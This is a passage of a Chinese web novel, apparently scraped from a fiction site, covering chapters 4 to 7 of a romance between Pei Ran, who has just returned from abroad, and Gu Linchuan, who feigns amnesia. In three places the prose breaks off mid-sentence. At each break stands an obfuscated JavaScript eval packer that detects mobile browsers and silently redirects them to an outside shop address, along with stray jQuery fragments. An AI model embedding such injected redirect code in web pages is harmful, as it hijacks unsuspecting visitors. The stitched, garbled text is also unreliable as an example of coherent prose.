又一个红绿灯,顾辰轻锤方向盘,笑着咒骂:“开的又慢又稳,一点都不爽!”
“至少我不用胆战心惊了,挺好的。”裴然淡定的喝了一口水,挑眉戏谑。
顾辰嘿嘿一笑,想起什么,问他:“怎么不去我给你安排好的住处,不喜欢吗?”
顾辰一早安排好的临江大平层,地段好,交通便利,环境清幽,装修和室内设计完全是按照裴然的喜好去做的,耗了不少心神,被裴然拒绝,此刻问起也没有半分不悦,语气尽是关切。
如果此刻裴然说了半分不好,他就立刻派人去重新弄,一直弄到裴然喜欢为止。
裴然摇头:“没有不喜欢,工作室这边更方便。”
像裴然这种工作狂,一睁眼就能开启工作的住处简直不要太合适,更何况裴然孑然一人,房子太大了显得空荡荡的,没几分生气。
“嗯,听你的。”顾辰小事一向依着他,便也点点头,“什么时候想搬了,知会我一声就行。”
“会的。”
像是突然想到什么,顾辰斟酌着用词,开口:“上周我回家吃了顿饭,哥好像不知道你回国了,你没有告诉他吗?”
话音刚落,顾辰便生出几分悔意,余光顾虑着裴然的脸色。
裴然呼吸一顿,面上看不出情绪,语气也如常:“等稳定下来再告知大家吧,还不着急。”
是大家,不是他。
裴然对他哥顾临川逃避的意味太明显,顾辰下意识地皱了眉。
两个人之间似乎陷入了一种尴尬的环境,空气都有些凝固。
“听说,哥要和宋小姐联姻了,他们二人挑了个时间聚一聚。”顾辰语气轻松,像是在聊家常,“和我一起去,好吗?”
“我出国太久了,和圈子里的人早就生疏了,就不去凑这个热闹了。”裴然偏过头,看向窗外。
藏在袖子下的手紧紧握住,怎么全世界都在告诉他,顾临川要彻底和他没有瓜葛了。
“聚一聚就熟了,不是要在国内定下来吗?总要和大家走动的。”顾辰单手开车,转弯时把方向盘打到底,“听歌吗?会不会有点闷。”
裴然把视线从窗外收回,盯着显示屏看,没有说好也没有说不好,顾辰骨节分明的手指在杂乱的歌单中挑选着。
“然哥,我说错话了。”顾辰手指变得有些僵硬,不知所措,“惹你不高兴了吗?”
“就这首吧。”
指尖悬停,最终选择了名叫free的歌单。
车载歌单都是裴然一首一首加进去的,但很久没听了,一时间他有些想不起来歌单都有哪些音乐。
舒缓的前奏响起,略带低沉磁性的男声唱着:
Here is the lock here is the key
Open it set yourself free, free free free
Moving along singing a song
Fly like a bird liberate me me me me
Say goodbye to yesterday
裴然不回答,小声跟着哼唱,手臂搭在车框边,有一搭没一搭的打着节拍。
宋妍宜,叙事药业集团千金,家中独女,进入家族企业短短三年便已经展现出领袖格局,论颜值论家世论才华,她确与顾临川相配。
裴然下意识地在脑海中想象出两人并肩而立的画面,当真是一对璧人,思即至此,不免轻叹一声。
既然顾临川已经找到了自己的幸福,于情于理他都要亲手送上自己的祝福。
“没有。”裴然回答刚刚他的问题,朝他淡然一笑,揉了揉他脑袋,“我哪有那么容易生气,你没说错什么。”
顾辰松了一口气,眉眼舒展开,继续问:“那你去吗?”
“我会去的,你不用担心。”裴然声音很轻,很快便消散在风中。
悦湾是顾家名下产业,坐落在江岸线边,占据了深山半岛核心,各种设施一应俱全,备受南城富家子弟度假的青睐。
众人到了之后,专属管家便上前将众人带到房间置放行李。
裴然和顾辰是最后到的,下车时正巧撞见打算去骑马的几位实习生。
几位实习生打打闹闹着走来,看见裴然的那一刻表情有些停滞,随后推推搡搡间,几人瞬间收敛了动作,朝他打招呼:“然哥!”
裴然看在眼里,无奈一笑:“既然来度假,就敞开了玩,不用顾虑什么,也不用把我当上司。”
几人点头如捣蒜,显然没听进去,离开的背影依旧拘束,直到消失在拐角,打闹声才再次传来。
顾辰看在眼里,忍俊不禁,掰着裴然的肩,煞有介事地打量:“不对呀,这也不是阎王爷啊。”
裴然面无表情,吐出舌头,冲他做了一个鬼脸:“略。”
顾不得身后人片刻怔愣后,捧腹爆发出大笑,裴然先拿着房卡,回了自己的房间。
身后顾辰赶紧跑上去,跟在他身后,依旧笑个不停。
关
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057461|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上房门,耳边终于清净,裴然把行李摆好,走到洗手间照镜子。
“有这么可怕吗?”裴然捏了捏自己的脸,露出一个温和迷人的笑。
手机铃声从床上传来,裴然便收起笑容,洗了一下手后离开。
裴然接起电话,电话那边七嘴八舌的叫起来。
庭婷笑了笑,让他们喊,喊完这才走到角落安静处,“收拾好了吗?我们都在这边打高尔夫,他们说想和你一较高下呢。”
裴然勾唇,漫不经心道:“先打败你吧。”
英国留学那几年,每一年庭婷都会和裴然单挑,不止高尔夫球,羽毛球网球甚至篮球,无一例外的失败。
庭婷隔空锤了他一拳,“那我让他们先来挑战我。”
裴然挂了电话,把房间收拾好,外面隐约有出太阳的征兆,阳光穿透深厚的云层缝隙,均匀地撒下。
“哗啦——”裴然一把将窗帘拉上,遮光效果绝佳,房间内瞬间变得昏暗。
裴然只留了床头一盏小夜灯,躺在床上,拿过被子把自己整个盖住。
雨雾散去,迎来了久违的大太阳,明媚的阳光洒在还带着水珠的草地,偶尔有小孩子调皮跑过,还溅起几星水滴。
草地中间是一条不规则石子小路,贯穿整个草地,从悦湾入口直通地下酒吧。
走在最前面的男人,姿态慵懒,被太阳晒的有些睁不开眼,索性半虚着。
刚下过雪的南城纵然出了太阳,温度还是很低,他却只穿着一件白色大衣,内里是一件黑色高领毛衣,随意搭了一条项链,在阳光下闪着光。
他抬手,推了推鼻梁上的金丝眼镜,俨然一副斯文败类的形象,一路上引得不少路人侧目。
男人身后还跟着两人,皆是老实裹着厚重的羽绒服,其中一人更怕冷,带上了围巾和手套。
“哟?白月光回国后咱顾总就是不一样啊,看看这春风得意的模样。”围着围巾的男人小跑两步,和顾临川并肩,笑着揶揄。
顾临川没空理他,只淡淡睨他一眼,稍弯腰,穿过花里胡哨的酒吧大厅,走进他们的专属包间。
酒吧里暖气充足,戚贺昀急吼吼地脱了外套,甩开围巾和手套,往沙发上大马金刀一坐,发出一声惬意的喟叹。
“南城今年怎么这么冷?”戚贺昀不满地吐槽,“羽绒服衬得小爷真臃肿!”
顾临川端起威士忌,轻抿一口,把桌子上那杯往前推,“迟到了,酒在那边,自己喝。”
戚贺昀也不墨迹,一口闷掉,随后从善如流地转头朝枚烨告状:“啧啧啧,妹妹!你看他!”
妹妹是指枚烨,小时候他不认识这个字,只知道发音是mei,于是便喊他妹妹,一直喊到大。
听到戚贺昀又这样叫自己,无奈地看了他一眼,抓过一旁的围巾给他套上。
“行了,他正烦着呢,你别招惹他,酒都是你爱喝的,别得了便宜还卖乖。”
“他烦?烦什么?白月光在国外谈恋爱了?”戚贺昀把围巾扯下来,难得不跟他闹,好奇地问。
枚烨捂他嘴,“少说两句。”
戚贺昀看了看枚烨,又转头看了看顾临川,眯起眼睛,感到狐疑,随机一拍脑门,恍然大悟。
这俩人有秘密瞒着自己!
他看向枚烨,枚烨移开视线。
戚贺昀撇了撇嘴,“真没意思。”
顾临川一身黑,衬得周身气质凌冽,似是有些疲惫,揉了揉眉峰。
闻言,眸色晦暗:“等会儿就有意思了。”
5. 第 5 章
这一觉睡的昏天黑地,迷迷糊糊间睁眼,裴然看见床头坐了一个人影。
那人端坐着,手里随意地翻看着房间内自带的时尚杂志,抬起手腕看了眼时间,这才放下杂志,俯身弯腰轻声唤他。
“然哥?该起来了,再睡下去,晚上又要失眠了。”
午觉睡得又深又沉,乍然被喊醒,裴然难得有几分起床气,板着脸不讲话,直愣愣地坐起来,几缕发丝睡得翘起。
顾辰见状,只把窗帘拉开一角,怕晃到他眼睛。
“几点了?”裴然还有点懵,视线始终跟随,半晌缓过来,嗓音干涩有些沙哑:“你怎么进来的?”
“已经快七点了,方才我在外面敲门始终没人应,打电话也不接,我实在担心,找了前台要了你的备用房卡。”顾辰端过一杯温水,递到他手边,“见你睡得沉,就没立刻叫醒你。”
裴然小口小口喝下温水,嗓子舒服了不少,整个人也清醒了,随手抓了抓头发,拿过手机一看,果然有十几个未接来电和消息。
“抱歉,睡太死了,没听见。”裴然抓紧时间,回复了几条工作短信,随后放下手机,拿起衣服进了浴室。
浴室里水声渐小,裴然收拾完毕,顾辰带着他一起去餐厅吃饭。
刚走到餐厅门口,服务员将两人拦住:“抱歉二位先生,餐厅今日被人包了下来,暂时不对外开放。”
顾辰有些泄气,这家餐厅有裴然最喜欢的马卡龙,本打算吃完后给他打包一些的,没想到被人包了下来。
“然哥……”顾辰颇为懊恼地看着他,“是我没有计划好,你还有想吃的吗?”
裴然拍了拍他手背,“换一家店就好了。”
顾辰低落情绪又回升,扬起一抹笑,拉着裴然打算离开。
这时,餐厅里一位服务生小跑上前,微微一笑,出声挽留:“老板说,请二位一同用餐。”
裴然和顾辰都有些懵,左右看了一下,只有他们二人,但还是出声确认:“我们?”
服务员微笑着点头:“是的。”
裴然摆手,打算拒绝,一道熟悉的声音先人影传来。
“裴裴!”戚贺昀朝他们走来,眼神看见裴然就亮晶晶,转眼看见身旁的顾辰又暗下来,不咸不淡地招呼一声,“你也在啊。”
裴然乍然看见他,有些惊喜:“小贺,你怎么也在这?这餐厅是你包的?”
“对啊。”戚贺昀亲昵地揽着他的肩,阔步往里面走,丝毫不管身后的顾辰,“都怪妹妹和咕咕,说什么嫌太吵了,可是人多才热闹呀……”
落地观景窗将窗外景色一览无余,天花板垂落的吊灯与大理石地面交叠出粼粼光影,暖金色的灯调带着零星的烟火气。
顾临川和枚烨面对面坐着,桌上是琳琅满目的精致餐点。
但显然,两人兴致不高,几乎没怎么动。
顾临川向后靠在座椅上,低着头看手机,手指在桌子上有意无意地打着节拍。
枚烨将戚贺昀方才丢给他的一块鹅肝吃下,慢条斯理地擦了擦嘴巴,“当司机的初体验,如何?”
“还不错,人很呆。”顾临川从手机中抬起头,一挑眉,勾着唇却没有笑意,“走了那么久,半点没有学聪明。”
枚烨耸了耸肩,端起酒杯碰了碰他的,也不管他,自顾自的闷掉,打趣道:“你不是一向觉得所有人都很蠢?”
“的确是的。”顾临川回他。
枚烨轻笑一声,“今天戚贺昀说错话了,你不要和他计较,你们分开那几年,他也不在国内,并不知情。”
顾临川颇为疑惑,但还是心平气和地阐述事实:“要是想计较,我早就气死了。”
枚烨不置可否,但还是替戚贺昀找补:“童言无忌。”
顾临川又低头看手机,闻言,头也不抬,嗤笑一声:“25岁的儿童。”
身后传来戚贺昀叽叽喳喳的声音,裴然站在他旁边,微笑着看他,时不时回应几句。
“你们看!我把谁带来了?”戚贺昀站在裴然身后,双手搭在他肩上,从他身后探出头,嬉笑着问。
枚烨眼底闪过一丝惊措,下意识看向顾临川,他坦然不动,仍旧低着头玩手机,一个眼神也不分给他们。
枚烨站起身,同裴然打招呼:“好久不见。”
裴然淡淡一笑:“好久不见。”
顾辰在后面,见没人搭理自己,硬着头皮站出来喊人:“哥,烨哥。”
顾临川这才抬起头,视线略过裴然,直直看向顾辰,微微颔首,表示自己听到了。
戚贺昀小声在裴然耳朵边吐槽:“他就这样,没礼貌,你不用理他。”
说着,走到餐桌边,替他拉开椅子,位置在他对面,顾临川的身侧。
顾临川目不斜视,冷不丁问起:“我让你去取的玛罗尼呢?”
“哎呀,我给忘记了。”戚贺昀这才想起来,自己正是应了顾临川的请求穿越大堂去取酒,才在路上撞见。
顾临川似乎也并不在意,并未再让人去拿,低头继续玩手机。
倒是戚贺昀,赶紧招来侍应生,让他替自己去取一下,说完勾着顾临川脖子,亲亲热热地道歉:“不好意思嘛咕咕。”
顾临川熟练躲开,戚贺昀浑不在意。
“咱都认识,就不用拘束啦,开吃开吃!”戚贺昀举起餐刀,兴奋的喊道。
“这谁?我不认识。”顾临川冷不丁开口。
戚贺昀:“?”
枚烨:“……”
“开什么玩笑,这是裴裴呀?”
戚贺昀一脸你别闹的表情。
顾临川语气随意,“失忆了,不记得。”
戚贺昀:“?”
枚烨:“……”
顾临川死死盯着裴然,黑眸深邃,像一汪深潭,如墨色般的湖水漾开涟漪,仿佛要将人吸进去。
沉默在几人之间蔓延,戚贺昀再迟钝也反应过来了,眼神偷偷在两人之间逡巡。
随后偷偷朝枚烨求救,枚烨无奈摇头,拎着他衣领往后拽,示意他安分点。
裴然很隐晦地轻叹一声,上前一步,自我介绍:“你好,顾先生。我是裴然,是贺昀的好朋友,打扰你们用餐了,不好意思,我们这就离开。”说着就带着顾辰要走。
“留步。”顾临川终于放下手机,从椅子上站起来,走到裴然身前站定,“既然是朋友,那便不算打扰。”
顾临川身影高大,投下的阴影几乎将裴然吞没,夜风徐徐吹来,携着顾临川身上幽幽的橘香,将裴然包裹。
裴然心口一酸,几不可闻地皱眉,笑着摇头,仍旧打算婉拒。
顾临川又看向自己弟弟,“留下,吃饭。”
顾辰如芒在背,顿感惶恐,抬眼去看裴然,征求他的意见。
裴然不愿顾辰为难,只好留下,看着顾辰欲哭无泪的表情,安抚似的朝他笑笑。
顾临川很绅士地重新为裴然拉开椅子,让人为裴然递上菜单:“裴先生喜欢吃什么就点,不用拘束。”
“谢谢。”裴然点好后,将菜单交给服务员,对身旁的顾临川礼貌一笑,“那我就不客气了。”
正菜上的比较慢,服务员先上了一份焗蜗牛和酥皮浓汤,蘑菇与奶油香气涌起,一口下去喉咙都是暖的。
等菜间隙,戚贺昀天南海北的聊着,裴然句句回应,枚烨的任务被抢走,只好在一旁为他拆蟹。
“顾先生为什么会失忆?是受伤了吗?”裴然状似不经意地提起。
“啊?”戚贺昀没第一时间反应过来,见裴然下意识看了看身侧之人,才明白,“噢,对!六月初,他去马来西亚赛车
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057462|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一头撞树上,把脑袋撞坏了。”
顾临川瞥了他一眼,无言。
裴然吃饭的手一顿,强忍住侧过头查看身旁之人伤势的冲动,出声安慰:“幸好顾先生年轻,恢复的很快。”
末了,像是仍旧不放心:“追求刺激固然可以,但是还是要注意一下安全,尤其是伤势没好之前。”
闻言,戚贺昀饭也不吃了,转身把脸埋进枚烨颈窝处,笑的发抖,难得他逗别人还能成功。
裴然和顾辰两人刚从国外回来,自然听不出两人的弦外之音,见戚贺昀笑得这么开心,也只是跟着笑。
小插曲过后,几人酒足饭饱,席间聊起小时候的趣事,戚贺昀挂在枚烨身上,笑的前仰后合。
顾辰自觉多余,便不凑这个热闹,同大家微笑告别,并叮嘱裴然若是太晚了,一定要给他打电话,让他来接。
戚贺昀撇嘴,有些不满,催促他赶紧离开:“我会把裴裴安全送回去的,不用你一个小孩子操心。”
顾辰抿唇,似乎还想说什么,但最终却什么也没说,转身离开了。
戚贺昀嘟囔着这人真是讨厌,扯着裴然继续讲顾临川小时候的糗事。
刚好讲起,当年四人一同上马术课,顾临川那匹马被有心之人动了手脚,饲料里加了兴奋剂。
上课途中,老师正教学着,顾临川的马儿却突然不听使唤,满场疯跑,顾临川反应敏捷,迅速拽紧了绳子,却还是无济于事,最终狠狠坠马。
“当时谁都不敢进去,只有裴裴跌跌撞撞地冲进去,一把把你背在背上,拖了出来。”戚贺昀冲一边的顾临川挤眉弄眼。
看看!人家从小就对你这么好!
虽然他不知道顾临川今日为什么要装作不认识裴然,还要撒谎说自己失忆了,但是他明白一件事,那就是顾临川还喜欢着裴然,助力一下兄弟的感情,他在所不辞。
只可惜他的好兄弟并不领情。
“还有这事?”顾临川抬了抬眼皮,满不在乎,一副无所谓的样子,“没印象了。”
戚贺昀急得恨不得踹他两脚,怼他:“你不是失忆了吗?记得才有鬼了。”
裴然摆摆手:“不记得也没关系,只是一件小事而已。”
“哪里是一件小事!你明明就救了他的命!”戚贺昀差点从座位上跳起来,结果被枚烨一把按住。
“太夸张啦。”裴然被他义愤填膺的模样逗乐,笑得弯了眼。
侍应生把甜品端了上来,是裴然最爱的马卡龙。
侍应生端着盘子往顾临川的方向走,顾临川眼神示意,侍应生了然,脚下步履一顿,将打包好的盒子递给裴然。
裴然接过马卡龙,很惊喜地看向顾临川,却发现他并未看自己,于是赶紧移开视线,暗骂自己自作多情。
最后难为情地同大家告别,转身离开。
顾临川冷漠地站在原地,眼神始终停留在裴然的背影上,浑身阴恻恻地,不知道在想些什么。
眼神里波涛汹涌像草原上饿久了的狮子看见可口的猎物一样。
蛰伏,缓慢靠近,突袭。
将毫无防备的猎物按在身下,锋利的牙口紧紧咬住猎物脆弱的脖颈,感受到怀中的猎物剧烈的挣扎,一瞬间,浑身的血液都会被刺激的滚烫。
直到猎物不再挣扎,他再一点一点,拆吃入腹。
他仗着自己在身后,眼神里的情绪肆无忌惮地显露出来,没有半分收敛,凶狠又缠绵。
灯光打在裴然的侧脸,偏冷的色调衬得裴然的脖颈更显出几分瓷白,顾临川眯起眼睛打量,喉结不可抑制的上下滚动一下。
前面裴然接起电话,不知道对面又说了什么,裴然低语几句,眉目舒展,脚下步履生风。
笑得真扎眼啊,顾临川心里想着,视线却也没移开半分。
6. 第 6 章
在悦湾的第二日,裴然一早就收到戚贺昀的邀请,夜晚与他们三人一起打台球。
裴然本想拒绝,但奈何戚贺昀撒娇卖萌,缠着裴然一定要答应。
裴然抵不过他,只好答应下来。
南城圈子里,他们三人玩得最是讲究,凡事都要占一个“专属”二字,游艇私人飞机是专属,连城郊那片高尔夫球的早场时段,也被顾临川包成了私人领地。
这间台球厅是早年戚贺昀买下的,作为生日礼物送给了枚烨,不过他严明规定,枚烨不许偷偷来,玩的时候必须带上他。
戚贺昀同裴然口若悬河地讲这间台球厅设计上的小巧思,推开门,他第一个闪身进去。
室内没装主灯,只靠悬在两张顶配星牌台球桌上方的定制暖光射灯照亮,光线刚好漫过墨绿色的台呢,球杆架里清一色是从英国手工定制的台球杆,有三根上面刻着他们的名字缩写,木纹流畅得近乎完美。
戚贺昀抽出自己专属的那只台球杆,右手握住,膝盖微弯,身体重心压低,上半身前倾弯腰,手臂一发力,砰的一声闷响,白球撞进球堆,彩球四散开来,一颗单色球擦着边袋滚进去,响声清脆利落。
“怎么样?”戚贺昀得意洋洋,“谁想来挑战一下?”
顾临川转身抽出自己的球杆,示意他开球有进继续打,接下他的挑战书。
开场两人势均力敌,难分胜负,枚烨看得无聊,溜到阳台抽烟,身后跟着个小尾巴裴然。
枚烨站在阳台上,指尖夹着一根烟,顾及着裴然,没点燃,时不时放进嘴里咬着。
裴然伸手,向他讨要,“还有么?”
“给。”枚烨颇为意外,眉尾轻挑,顺手把打火机递给他,“现在还真是烟酒都来的啊。”
裴然夹烟的手一顿,轻笑:“只是放松一下。”
枚烨调笑:“国外学业压力很大吧?”
裴然认真地回想了一下,半真半假的开玩笑:“是的,每次教授的消息发来,我都害怕。”
枚烨哈哈笑起来,顺势观察裴然。
裴然点烟的姿态很熟练,薄唇轻轻抿住烟头,猩红的火光乍亮,随后熄灭,一阵缥缈的白烟从唇齿间溢散,矜贵又恣意。
枚烨叼着烟凑上去,借了他的火,半晌无言。
阳台风大,一支烟没吸多少便见了底,枚烨吐出最后一口,侧目看他,“回国后,还走吗?”
裴然把烟夹在指尖,闻言笑了:“怎么?舍不得我走?”
“我有什么舍不得的。”枚烨口是心非,余光瞥向房间内某人,忍不住替他说话,“说走就走,你是真的狠心啊。”
“他不是失忆了么?”裴然骤然被烟呛住,猛地咳起来,低低的嗓音带了几分沙哑,“把我忘了,挺好的。”
枚烨欲言又止,最终化作一丝叹息。
枚烨在外面没待太久,戚贺昀又在里面闹着喊他,枚烨冲他一笑,离开了阳台。
裴然第二支烟没抽多少,依旧是风抽一半他抽一半,阳台没开灯,唯一的光源是角落里一棵小的橘子树,上面挂着小彩灯,晃得人眼睛难受。
裴然闭上眼睛,仰头背靠着栏杆,仰头感受夜风吹在脸上,长腿交叠,无端生出几分孤寂。
像一只随时会坠落下去的受伤的雏鸟。
顾临川打球时没费太多心思,被戚贺昀指责放水,不尊重比赛。
“砰!”一杆下去,两球进洞,顾临川视线又不受控制地看向阳台的裴然,眉心皱起,内心又腾起一股不耐的烦躁之感。
这人怎么总是这么破碎?顾临川感到不满,明明他铁石心肠不讲情义,却偏偏总在他面前表现仿佛被全世界抛弃,受了天大的委屈一般可怜。
鬼使神差地,他把球杆递给枚烨,示意他帮自己打完,他则是端着酒杯,站在裴然身后。
裴然很快便发现来人,收拾好情绪和表情,“顾先生,刚刚那一球打的很漂亮。”
裴然指的是顾临川打的那颗弧线球,白球以一道绝对完美的弧线绕过障碍,精准撞中目标球。
顾临川上前一步,站在他身侧,“站在这里,可以吗?”
“当然。”裴然微笑答应,心里却想着,你不是已经站了?
顾临川这站位有点讲究,算不得亲昵,只是举手投足间时不时会蹭到彼此。
却比方才枚烨站得近,强势入侵了他的私人领域。
裴然只好不动声色地向旁边挪动,顾临川步步紧逼,最终两人紧紧靠在圣诞树旁,再没有空间可退。
裴然又闻到了柑橘调的香味,熏得他头晕,指尖又不受控制地开始发颤,裴然只好把手腕靠在栏杆上,不至于太明显。
“我还以为裴先生和旧友叙旧,不会太关注球局。”顾临川说话巧妙漂亮,丝毫听不出其中的酸味,“待会儿让戚贺昀下来,你上去打两颗?”
“不必了。”裴然摆摆手,“有段时间没打了,手生。”
“让枚烨做陪练,打几颗球就上手了。”顾临川似笑非笑,“顺便还可以熟络一下好友之间的感情。”
裴然一脸疑惑,“我与枚烨并不生疏,不用维系感情。”
“话说回来,我们四人一起长大,我失忆了忘记了一些人一些事,对你不熟悉很正常。”顾临川嘴角噙着笑,眼底却是不见笑意,眼神冰冷没有一丝温度,“你怎么也只记得他们,不记得我了。”
“我们从前关系不算好。”裴然强扯出一抹笑,眼神不自然,“就不凑上前,惹你不快了。”
“这样看来,似乎你做了什么对不起我的事情?”顾临川微眯着眼,步步紧逼。
“有吗?”裴然彻底笑不出来了,强忍住眼底的酸涩,轻声地问,“不算吧?”
顾临川不解,怎么又是这样一副可怜模样,明明他还什么都没有做。
“有吧?”顾临川也反问,看着他单薄的身影,变本加厉,“不然,我怎么会这么讨厌你,一看到你就觉得很讨厌。”
“很讨厌吗?”裴然低低地重复,像是要把这句话刻进骨子里。
“也许吧。”顾临川毫不留情,继续说着模棱两可的话,虚情假意地提建议,“不过裴先生可以多出现几次,我看得多了,就脱敏了。”
裴然吸了吸鼻子,往后退了一步,语气认真:“顾先生放心,我会和你保持距离的。”
顾临川:“……”
外面风大,裴然和顾临川无言并肩站了一会儿,眨了眨干涩的眼,同顾临川讲:“外面风大,顾先生要进去吗?”
顾临川脸很臭,说出来的话也不留情面:“你很烦
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17057463|194889||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,知道吗?”
裴然身子一僵,抿了抿唇,无声离开了。
片刻后,隔着阳台门,传来戚贺昀大惊小怪的叫声:“裴裴,你脸色怎么这么难看?是不是感冒了?我都说了让你们不要去阳台,一个二个都往那里一站,装酷耍帅,一下来脸色比鬼都白。”
戚贺昀早就不满没人陪他打台球,围着裴然转,又端来热红酒为他暖身子,嘴里叽里咕噜地不停。
片刻后,顾临川也从阳台走下来,浑身萦绕着低气压,寒气逼人,面色不虞,像是地狱来的修罗。
“咕咕怎么了?”戚贺昀端着红酒脚步一顿,往后退了几步,撞了撞枚烨的肩,小声地问。
枚烨叹了口气,只答:“不知道。”
四人没待多久,裴然便起身告辞,戚贺昀把顾临川拉到身前,让他送裴然回去,在角落冲顾临川挤眉弄眼的。
裴然摆摆手,温声拒绝:“不用麻烦了。”
“跟上。”顾临川只冷冷丢下这句话,径直离开。
戚贺昀推了推他,让他快跟上去。
裴然见状,只好快步走上前,落后他几步,像个小尾巴似的跟在后面。
“唔。”
顾临川突然停住,裴然没看路,一头撞在他宽阔坚硬的肩上,鼻头一酸,裴然伸手揉了揉。
顾临川转过身,问他:“不看路?”
裴然和他对视,愣了一瞬,回过神来:“抱歉,我走太快了。”
“急什么?”顾临川盯着他看了几秒,移开视线,继续往前走。
这次速度稍缓,不自觉裴然已经和他并肩。
裴然没回答,在心里悄悄说,不急,他恨不得这段路能再长一点,两个人能慢慢走,多呆一会儿。
一路走到酒店楼下,裴然同他告别:“再见,顾先生。”
顾临川没说话,突然朝他伸出手,“我的钱夹。”
裴然反应过来,想起来在酒吧偶遇,他还以为顾临川对自己毫无印象,没想到他还记得。
裴然解释:“我把钱夹给顾辰了,打算托他交给你。”
顾临川很不解,指了指自己,“我就在你面前,你为什么要托别人帮忙?”
“那我现在上去找顾辰拿?”裴然一头雾水,搞不清他的意思。
“不用了。”顾临川朝他摊开手,“手机给我。”
裴然乖乖给他。
顾临川把自己的电话号码输入进去,偷偷看了一眼,确认没有被加入黑名单,松了一口气,把手机还给他。
“下次亲自给我,来之前联系这个电话。”顾临川说的理直气壮,却又叫人讨厌不起来,“之前你不是做了对不起我的事情吗?总要弥补一下吧?”
裴然捧着手机,看着熟悉的号码,有些微微出神,顾临川的声音在耳边响起,裴然才回过神。
顾临川以为他不愿意,语气明显有些烦躁:“不行吗?”
裴然赶紧摆摆手,带了点哄人的意味,对他说:“当然可以,我找个时间给你送过来。”
末了又补充一句:“会很快。”
顾临川又恢复了初见的高傲模样,下巴微抬,不再看他。
裴然离开前,对他说:“那下次见。”
下次见,顾临川在心里小声地回复。
7. 第 7 章
顾临川回去等了两天,电话没有,短信没有,就连一条好友申请都没有。
接连几天,顾临川都冷着脸,浑身散发出不愉快的氛围,上来送资料的小姑娘都怵他,平时还期期艾艾地偷看几眼,现在放下文件就赶紧退出去。
宋妍宜上来找他时,正巧撞见小姑娘在办公室门口打了个冷颤,长长的呼出一口气,拍了拍胸脯往电梯走。
宋妍宜觉得稀奇,靠在门上敲了敲,“怎么把小姑娘吓跑了?”
顾临川眼皮微掀,看清来人,懒懒地回道:“她们一直挺怕我。”
“今天更怕。”宋妍宜上下一打量,面露肯定,给出自己的评价,“冷面阎罗。”
顾临川不置可否,他再等不到消息,可能比阎罗还可怕。
“今天来找你,是想让你陪我出席一趟晚宴,若是顺利的话,很快就能完成合作了。”宋妍宜把资料调出来,给他展示。
顾临川翻了翻,计划很周密,他只需作为吉祥物去走一遭,让那些墙头草倒戈到宋妍宜这边即可。
顾临川点头答应,同时疑惑,“不是说温水煮青蛙?怎么突然这么急?”
宋妍宜瞧了他一眼,半开玩笑半认真地说:“不能耽误顾总追妻不是,早点解决,好早日让小裴有名分。”
当初顾辰回家吃家宴,正巧撞见宋妍宜与顾临川,宋妍宜跟在顾临川身边多年,对他的心意了然于心。
于是在顾辰同他打招呼时,主动问起裴然的消息。
果然感觉到身侧之人僵了一瞬,随即又是一副事不关己的冷淡样。
宋妍宜温柔婉约,挽着顾临川的手,对顾辰说:“许久没见了,我和临川寻个时间,你把小然带上,咱聚一下。”
顾辰自然应允,答应一定按时到场。
两人挽着手在拐角自然散开,顾临川语气平静:“你又自作主张。”
宋妍宜对他的口是心非进行严肃批评:“不要一边在心里暗爽,一边装作毫不在意的模样!”
“他怎么样,和我又没有关系。”
顾临川嘴硬,不肯承认。
宋妍宜优雅端庄地翻了个白眼,不欲与他争辩。
“折日不如撞日,不如就今天?”宋妍宜一锤定音,抓着手机就给顾辰发信息。
顾临川打断她,没跟她贫嘴:“宋老爷子快不行了?”
“你听谁说的?”宋妍宜一顿,问他。
顾临川看她反应就知道自己猜对了,见她神色不对,出声提醒:“我能看出来的事情,旁人不见得会被唬住,你万事小心。”
末了,顾临川黑着一张脸,辩驳一句:“还有,我没追他。”
临近圣诞,南城大街小巷已经染上圣诞氛围,圣诞树上挂着灯和礼物,久违的圣诞老人也出来巡游。
裴然还在工作室忙碌,铺满了面料卡和手稿的工作台上摆着一个精致装扮过的苹果,是工作室内员工的女朋友送来的,给大家都发了,说是提前给大家过平安夜。
顾辰的电话打来时,裴然正打算把苹果洗洗吃掉。
听到这个消息的时候,裴然手里剪裁的动作一歪,锋利的刀尖瞬间刺破手指,血珠滚滚地冒出来。
裴然反应迅速,没让血迹弄脏布料,叹了口气,认命地开始清理,简单处理一下,就拿纱布包扎上了。
出发前,他思来想去,还是去商城买了一对情侣腕表。
腕表以宇宙星轨为主题,将宇宙中星与月的引力羁绊,映射为情侣间彼此契合的感情。表盘时针采用的是双时区显示,若是相离太远,也能看见对方的时间。
还亲手写下贺卡,祝他们情比金坚,百年好合。
手指被划伤,写字的时候,裴然感觉格外疼。
